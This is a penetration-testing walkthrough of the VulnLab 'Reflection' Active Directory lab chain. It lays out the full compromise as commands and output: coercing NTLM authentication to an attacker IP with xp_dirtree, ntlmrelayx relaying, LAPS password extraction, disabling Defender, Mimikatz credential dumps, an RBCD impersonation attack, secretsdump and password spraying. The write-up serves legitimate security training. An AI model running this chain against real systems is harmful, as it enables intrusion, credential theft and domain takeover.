VL-Reflection

Reflection Chain - VulnLab / Hack The Box Lab Walkthrough & Writeup

Welcome to my walkthrough & writeup for the Reflection Chain, a challenging Active Directory Chain - ProLab from VulnLab / Hack The Box. This writeup documents my approach to compromising a multi-machine Windows domain environment.

The Reflection lab is an excellent learning resource for aspiring penetration testers and security professionals looking to develop their skills in Active Directory exploitation, NTLM relay attacks, RBCD (Resource-Based Constrained Delegation), and LAPS exploitation.

In this walkthrough, I’ll guide you through the complete attack chain, from initial enumeration to domain compromise, demonstrating real-world techniques used in modern penetration testing engagements.

Difficulty: Advanced
Lab Type: Chain / Pro Lab
Focus Areas: Active Directory, MSSQL, NTLM Relay, RBCD, LAPS


Network Overview

The lab environment consists of three machines in the reflection.vl domain:

1
2
3
10.10.243.229 dc01.reflection.vl  (Domain Controller)
10.10.243.230 ms01.reflection.vl (MSSQL Server)
10.10.243.231 ws01.reflection.vl (Workstation)

Initial Enumeration

Nmap Scan - dc01.reflection.vl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT      STATE SERVICE       REASON  VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2019 15.00.2000.00;
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| DNS_Computer_Name: dc01.reflection.vl
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49671/tcp open msrpc syn-ack Microsoft Windows RPC
49675/tcp open msrpc syn-ack Microsoft Windows RPC
59765/tcp open msrpc syn-ack Microsoft Windows RPC
59780/tcp open msrpc syn-ack Microsoft Windows RPC

The domain controller exposes standard Active Directory services, including LDAP, Kerberos, and notably, MSSQL Server 2019 on port 1433.

Nmap Scan - ws01.reflection.vl

1
2
3
4
5
PORT     STATE SERVICE       REASON  VERSION
135/tcp open msrpc syn-ack Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| Issuer: commonName=ws01.reflection.vl

A standard Windows workstation with RDP and SMB services exposed.

Nmap Scan - ms01.reflection.vl

1
2
3
4
5
6
7
8
9
PORT      STATE SERVICE       REASON          VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| DNS_Computer_Name: ms01.reflection.vl
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
49675/tcp open unknown syn-ack ttl 127
49676/tcp open unknown syn-ack ttl 127

This server runs MSSQL Server 2019 and has WinRM (port 5985) enabled, making it a prime target for remote access.


Initial Access - SMB Guest Access

Discovering the Staging Share

We began by checking for guest access on the SMB shares:

1
netexec smb ms01.reflection.vl -u 'panos' -p '' --shares

SMB Guest Access

This revealed guest access to the staging share. We connected and retrieved the configuration file:

1
2
smbclient //ms01.reflection.vl/staging
get staging_db.conf

Opening staging_db.conf revealed MSSQL credentials:

1
2
3
user=web_staging
password=<PASS>
db=staging

MSSQL Exploitation

Authenticating to MSSQL

We verified the credentials against the MSSQL service on MS01:

1
netexec mssql ms01.reflection.vl -u 'web_staging' -p '<PASS>' --local-auth

Success! We also performed RID brute-forcing to enumerate local users and groups:

1
netexec mssql ms01.reflection.vl -u 'web_staging' -p '<PASS>' --local-auth --rid-brute

Connecting to the Database

We established a connection to the MSSQL instance:

1
mssqlclient.py ./web_staging:<PASS>@ms01.reflection.vl

While we couldn’t enable xp_cmdshell, we discovered that xp_dirtree was available, allowing us to force the MSSQL service account to authenticate to our machine.


NTLM Relay Attack

Capturing Net-NTLMv2 Hashes

We set up Responder to capture the authentication hash:

1
sudo responder -I tun0

Then triggered authentication from MSSQL:

1
xp_dirtree \\<Your IP>\hello

Capturing Hash with xp_dirtree

We attempted to crack the captured hash:

1
hashcat hash /usr/share/wordlists/rockyou.txt

Unfortunately, the hash didn’t crack. However, we noticed that SMB signing was disabled on ws01:

1
2
netexec smb ws01.reflection.vl                              
(name:WS01) (domain:reflection.vl) (signing:False) (SMBv1:None)

This opened up the possibility of an NTLM relay attack.

Setting Up NTLM Relay

NTLM Relay Success

We confirmed relay viability:

1
netexec smb targets.txt --gen-relay-list output.txt

Started ntlmrelayx to wait for incoming connections:

1
sudo impacket-ntlmrelayx -tf targets.txt -smb2support

Triggered the relay from MSSQL:

1
xp_dirtree \\10.8.5.195\hello

The relay succeeded! We authenticated to both dc01 (10.10.243.229) and ws01 (10.10.243.231).

Relaying to MSSQL on DC01

We attempted to relay to the MSSQL service on the domain controller using techniques from this Compass Security blog post:

1
sudo impacket-ntlmrelayx -t mssql://dc01.reflection.vl -i -smb2support --no-multirelay

MSSQL Relay to DC

While we achieved authentication, command execution was problematic. The shell would freeze, and we couldn’t execute xp_cmdshell or xp_dirtree.

SOCKS Proxy for SMB Access

We pivoted to creating a SOCKS proxy to relay the Net-NTLMv2 hash to SMB on the domain controller.

NTLM Relay to SMB

Step 1: Set up ntlmrelayx with SOCKS support:

1
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks

Step 2: Relay the hash from MS01:

1
2
mssqlclient.py ./web_staging:<PASS>@ms01.reflection.vl
xp_dirtree //10.8.5.195/hello

Step 3: Configure proxychains to point to 127.0.0.1:1080

Step 4: Connect to SMB through the proxy:

1
proxychains4 smbclient.py reflection/svc_web_staging@dc01.reflection.vl

Accessing the Production Share

On the prod share, we discovered another configuration file with credentials:

1
2
3
user=web_prod
password=<PASS>
db=prod

Escalating Privileges

Enumerating the Production Database

We connected to the production database and found user credentials:

1
mssqlclient.py ./web_prod:<PASS>@dc01.reflection.vl
1
2
3
4
5
6
7
8
SQL (web_prod  guest@master)> use prod
ENVCHANGE(DATABASE): Old Value: master, New Value: prod
INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'prod'.
SQL (web_prod dbo@prod)> select * from users;
id name password
-- --------------- -----------------
1 b'abbie.smith' b'<PASS>'
2 b'dorothy.rose' b'<PASS>'

BloodHound Enumeration

We collected BloodHound data to map out the domain:

1
netexec ldap dc01.reflection.vl -u abbie.smith -p '<PASS>' --bloodhound --dns-server 10.10.243.229 -c ALL --dns-tcp

BloodHound Permissions

The analysis revealed that abbie.smith had permissions to read LAPS passwords.


LAPS Exploitation

Reading LAPS Password

We extracted the LAPS password for MS01:

1
bloodyAD --host 10.10.243.229 -d 'reflection.vl' -u 'abbie.smith' -p 'PASSWORD' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
1
2
3
distinguishedName: CN=MS01,OU=servers,DC=reflection,DC=vl
ms-Mcs-AdmPwd: <PASS>
ms-Mcs-AdmPwdExpirationTime: 135379607820000000

Gaining Administrator Access on MS01

With the local administrator password, we achieved full access:

1
netexec smb ms01.reflection.vl -u 'administrator' -p '<PASS>' -d .

We connected via WinRM:

1
evil-winrm -i ms01.reflection.vl -u 'administrator' -p '<PASS>'

Lab Admin User Discovery

We discovered a home folder for the user labadm, who was in the ADMINISTRATORS group.


Credential Extraction with Mimikatz

Disabling Windows Defender

We disabled real-time protection and uploaded Mimikatz (using Sliver C2 framework):

1
Set-MpPreference -DisableRealtimeMonitoring $true

Dumping Logon Passwords

1
mimikatz '"token::elevate" "privilege::debug" "sekurlsa::logonpasswords"'

This revealed the password for the domain service account:

1
2
3
4
kerberos :	
* Username : svc_web_staging
* Domain : REFLECTION.VL
* Password : <PASS>

Dumping Cached Credentials

1
mimikatz '"token::elevate" "privilege::debug" "lsadump::cache"'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[NL$1 - 6/7/2023 11:08:01 AM]
RID : 0000045f (1119)
User : REFLECTION\svc_web_staging
MsCacheV2 : 6123c7b97697564e016b797de99025dd

[NL$2 - 6/7/2023 11:11:08 AM]
RID : 000001f4 (500)
User : REFLECTION\Administrator
MsCacheV2 : 10c8403d0d68c47754170bf825ffbe9d

[NL$3 - 11/8/2025 3:04:31 AM]
RID : 00000454 (1108)
User : REFLECTION\Georgia.Price
MsCacheV2 : f20a83b9452ce1c17cf4a57c2b05f7ec

Notably, we found cached credentials for Georgia.Price, who had GenericAll rights over WS01.

GenericAll Over WS01

Dumping Credential Manager

1
mimikatz '"token::elevate" "privilege::debug" "vault::cred /patch"'
1
2
3
4
5
6
7
8
TargetName : Domain:batch=TaskScheduler:Task:{013CD3ED-72CB-4801-99D7-8E7CA1F7E370} / <NULL>
UserName : REFLECTION\Georgia.Price
Comment : <NULL>
Type : 2 - domain_password
Persist : 2 - local_machine
Flags : 00004004
Credential : <PASS>
Attributes : 0

We successfully extracted Georgia.Price’s plaintext password from the Windows Credential Manager.


Resource-Based Constrained Delegation (RBCD) Attack

Since we couldn’t add new machine accounts to the domain, we leveraged the compromised MS01 machine account to perform an RBCD attack against WS01.

Configuring RBCD

We modified WS01’s msDS-AllowedToActOnBehalfOfOtherIdentity property:

1
rbcd.py -action write -delegate-to "WS01$" -delegate-from "MS01$" -dc-ip 10.10.243.229 "Reflection/Georgia.Price:<PASS>"

Requesting a Service Ticket

We impersonated the Administrator and requested a service ticket for CIFS:

1
getST.py -spn 'cifs/WS01.reflection.vl' -impersonate Administrator -dc-ip 10.10.243.229 'Reflection/MS01$' -hashes ':<HASH>'

Dumping Secrets

We used the service ticket to dump credentials from WS01:

1
2
export KRB5CCNAME=Administrator@cifs_WS01.reflection.vl@REFLECTION.VL.ccache
secretsdump.py -k -no-pass Administrator@ws01.reflection.vl

Password Discovered

1
reflection.vl\Rhys.Garner:<PASS>

Domain Compromise - Password Spraying

With the password for Rhys.Garner, we performed password spraying across domain accounts:

1
netexec smb dc01.reflection.vl -u usernames.txt -p '<PASS>' --continue-on-success

Success! The user dom_rgarner, a domain administrator, reused the same password:

1
10.10.243.229   445    DC01             [+] reflection.vl\dom_rgarner:<PASS> (Pwn3d!)

Flags

The flags are located in the following directories:

  • WS01: Local Administrator’s Desktop
  • MS01: Local Administrator’s Desktop
  • DC01: Domain Administrator’s Desktop

Conclusion

The Reflection Chain from VulnLab is an excellent Pro Lab that covers multiple advanced Active Directory attack vectors. This walkthrough demonstrated:

  • SMB enumeration and guest access exploitation
  • MSSQL exploitation using xp_dirtree
  • NTLM relay attacks with SOCKS proxying
  • LAPS password extraction
  • Credential dumping with Mimikatz
  • Resource-Based Constrained Delegation (RBCD)
  • Password spraying leading to domain compromise

This lab is highly recommended for penetration testers looking to sharpen their skills in realistic Active Directory environments, similar to those found in Hack The Box Pro Labs.

Lab Share Link: https://api.vulnlab.com/api/v1/share?id=1031468a-6797-4d4e-aef5-63f3fc2cf123